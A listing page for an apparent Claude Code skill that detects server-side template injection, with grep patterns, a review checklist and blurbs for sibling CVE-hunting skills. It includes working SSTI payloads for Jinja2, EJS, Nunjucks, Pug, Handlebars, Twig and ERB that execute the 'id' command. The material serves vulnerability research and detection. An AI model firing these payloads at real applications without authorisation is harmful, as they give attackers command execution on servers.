advisory-mining
Mine GitHub Security Advisories and CVE databases for incomplete fixes, finding variant vulnerabilities in patched code or similar patterns in related packages.
Detect Server-Side Template Injection where user input is passed as the template string itself rather than as template variables, enabling code execution.
$ npx -y skills add ByamB4/find-cve-agent --skill ssti --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/sstiContext preview
The summary Claude sees to decide when to auto-load this skill.
Detect Server-Side Template Injection where user input is passed as the template string itself rather than as template variables, enabling code execution.
name: ssti
description: "Detect Server-Side Template Injection where user input is passed as the template string itself rather than as template variables, enabling code execution."
metadata:
filePattern:
- "**/*.js"
- "**/*.ts"
- "**/*.py"
- "**/*.rb"
- "**/*.php"
bashPattern:
- "grep.*(render|template|compile|Handlebars|nunjucks|ejs|Jinja)"
priority: 85Audit template engines, email template systems, report generators, CMS systems, and any code that compiles templates from user input.
// VULNERABLE: user input IS the template
ejs.render(userInput, data);
// SAFE: user input is in the data, not the template
ejs.render(templateFromFile, { name: userInput });**Auto-escaping does NOT help.** Auto-escaping prevents XSS in template OUTPUT, not code execution in template COMPILATION.
# JavaScript
grep -rn "Handlebars\.compile\|nunjucks\.renderString\|ejs\.render" .
grep -rn "pug\.compile\|pug\.render\|mustache\.render" .
grep -rn "template(\|compile(\|render(" . | grep -v node_modules
# Python
grep -rn "Template(\|from_string\|render_template_string" .
grep -rn "Jinja2\|jinja2\|Environment\|render_string" .
grep -rn "mako\.template\|Mako\|Template(" .
# Ruby
grep -rn "ERB\.new\|Erubi\|Slim\|Haml" .
# PHP
grep -rn "Twig.*createTemplate\|Twig.*Environment\|Blade\|Smarty" .For each template compilation call: 1. Is the template string hardcoded or loaded from a file? (SAFE) 2. Is the template string from user input? (VULNERABLE) 3. Is the template string from a database but originally user-supplied? (VULNERABLE)
Some template engines have sandboxed modes:
grep -rn "SandboxedEnvironment\|sandbox\|restricted" .
Jinja2 SandboxedEnvironment restricts attribute access but may still be bypassable.
{{7*7}}If output contains `49`, template injection confirmed.
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}<%= require('child_process').execSync('id') %>
<%= global.process.mainModule.require('child_process').execSync('id') %>{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}#{global.process.mainModule.require('child_process').execSync('id')}Harder to exploit in modern versions. Check for helper registration:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id')"}}
{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}<%= system('id') %>
<%= `id` %>Open Source CVE Hunting Harness for Claude Code A Claude Code plugin that systematically finds real CVEs in open source packages through coordinated multi-agent security research.
Repo: ByamB4/find-cve-agent
Mine GitHub Security Advisories and CVE databases for incomplete fixes, finding variant vulnerabilities in patched code or similar patterns in related packages.
Detect authentication and authorization bypass vulnerabilities including missing auth middleware, JWT algorithm confusion, IDOR, and session fixation.
Detect code injection vulnerabilities in packages that dynamically generate or evaluate code via new Function(), eval(), vm.run*, or template literal…
Detect OS command injection via shell execution sinks where user-controlled input reaches system commands without proper sanitization.
Cross-pollination multiplier technique: find a vulnerability in one package, then search for the same pattern across all similar packages to multiply findings.
Detect decompression bomb vulnerabilities where compressed input can expand to exhaust memory, targeting buffer-based decompression without size limits.